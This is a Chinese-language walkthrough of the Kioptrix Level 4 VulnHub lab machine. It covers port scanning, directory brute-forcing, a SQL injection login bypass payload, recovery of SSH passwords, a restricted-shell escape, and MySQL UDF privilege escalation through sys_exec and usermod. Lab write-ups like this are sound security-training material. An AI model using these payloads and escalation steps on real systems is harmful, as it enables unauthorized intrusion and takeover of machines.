0x01.靶机的基本信息

靶机名称:Kioptrix: Level 1.3 (#4)

发布日期:2012 年 2 月 8 日

作者:Kioptrix

靶机地址:https://www.vulnhub.com/entry/kioptrix-level-13-4%2C25/

0x02.信息收集

nmap -sn 192.168.31.1/24
image-20211221152421487
sudo nmap -sS -O -A -p 1-65535 192.168.31.155
image-20211221152649063
开放端口:
    22  ssh
    80     http
    139    samba   
    445    samba

0x03.前台SQL注入

先到前台看看。

image-20211221153644026

同时后台把目录去爆破一下,选了个大字典。

dirb http://192.168.31.155/ /usr/share/wordlists/dirb/big.txt

前台一个登录框,测试一下。账号处没发现问题,密码处有SQL注入。

直接绕过登录到后台,

账号:admin
密码:admin' or 1=1#
image-20211221154158528

并没有什么东西,接连着随便修改了几次用户名,都是一个样,猜测应该是不存在用户名,就会这样显示。

image-20211221154357978

一度怀疑这个注入是作者的一个幌子,半天得不到啥有用信息。

0x04.目录爆破与注入结合利用得到ssh账户

回头来看看目录爆破有没有得到啥有用信息,

image-20211221154926508

两个目录引起了我的注意,点进去,

image-20211221155013027

看样子很可能是两个用户名,拿到前台利用SQL注入登录试试。

image-20211221155128125
image-20211221155213612

得到了两个账户(john/MyNameIsJohn;robert/ADGAdsafdfwt4gadfga==)

拿到ssh登录试试,进去了,不过是一个受限制的shell,只能执行这些命令,

image-20211221155542511

这里当时也比较懵逼,能执行的命令太少了。去网上查了一下才知道,这里用个命令就可以得到一个完整shell,

echo os.system("/bin/bash")
image-20211221160318583

这里我没太明白这样做的原理,等之后有时间再研究研究吧。总而言之,我们现在得到了一个完整的shell。

尝试了几个命令,发现权限还挺高,对root用户的文件有读权限,但是没有写权限,

image-20211221160445751

0x05.UDF提权

翻到网站目录,在/var/www/checklogin.php找到了MySQL数据库的账户密码,是空密码,

image-20211221160702742

账户名是root,猜测可能是root权限的账户,可以尝试UDF提权。UDF提权需要先上传一个后缀为so的库,借助这个库我们才能执行命令,但是根据网上的wp来说靶机已经提前把这个文件上传好了,我不确定他们是如何确定的,因为在这里他们大都一笔带过了。既然如此,暂时也不深究,将john用户添加到管理员组,再使用sudo su提权,可以看到已经是root权限了。

select sys_exec('usermod -a -G admin john');
exit
sudo su
image-20211221161924012

0x06.总结

除了用UDF提权,应该也是可以用内核(Linux 2.6.24)提权的?我并没有成功(在尝试内核提权时发现靶机有防火墙的,比如80端口是不允许通过流量的,但靶机上有nc,可以通过nc传输exp),知识盲区,,这个靶场关键点其实就两:一是目录爆破要与SQL注入结合利用,才能得到ssh账户;二是UDF提权,之前对这个原理不是很熟悉,现在了解深入了一些。

参考文章:

https://www.abatchy.com/2016/12/kioptrix-level-13-4-walkthrough-vulnhub.html

https://rgolebiowski.blogspot.com/2016/07/kioptrix-4.html

https://carlosrodallega.blogspot.com/2012/03/kioptrix-4-solucionario.html

https://www.mattandreko.com/2012/02/12/kioptrix-4/